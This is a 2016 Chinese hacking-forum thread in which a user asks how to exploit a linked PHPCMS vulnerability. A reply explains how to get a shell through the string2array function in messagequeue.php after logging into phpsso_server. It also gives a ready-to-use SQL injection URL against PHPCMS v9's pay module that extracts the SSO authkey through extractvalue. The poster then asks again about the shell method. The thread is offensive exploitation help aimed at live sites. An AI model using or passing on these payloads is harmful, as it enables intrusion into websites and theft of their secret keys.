请选择 进入手机版 | 继续访问电脑版
查看: 1083|回复: 2

[脚本类] 求问一下此方式怎么利用

[复制链接]
  • TA的每日心情
    无聊
    2016-12-13 17:47
  • 签到天数: 239 天

    [LV.7]常住居民III

    发表于 2016-9-1 17:59:51 | 显示全部楼层 |阅读模式
    http://www.unhonker.com/bug/1907.html

    这是地址,就是不怎么利用!
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-3-28 20:10
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2016-9-2 13:11:48 | 显示全部楼层

    RE: 求问一下此方式怎么利用

    利用【这里是域名】/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。


    3、注入。访问链接:【这里是域名】/phpcmsv9/index.php?m=pay&c=respond&a=respond_get&code=kkk%89′ and extractvalue(1, concat(0x7e, (select substr(authkey,1,30) FROM v9_sso_applications where appid=1),0x7e))–%20m


    能看懂么?

    点评

    利用【这里是域名】/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。 这一段我就看不懂了 怎  详情 回复 发表于 2016-9-2 14:22
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-12-13 17:47
  • 签到天数: 239 天

    [LV.7]常住居民III

     楼主| 发表于 2016-9-2 14:22:58 | 显示全部楼层

    RE: 求问一下此方式怎么利用

    初九、 发表于 2016-9-2 13:11
    利用【这里是域名】/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另 ...


    利用【这里是域名】/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。
    这一段我就看不懂了 怎么利用!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表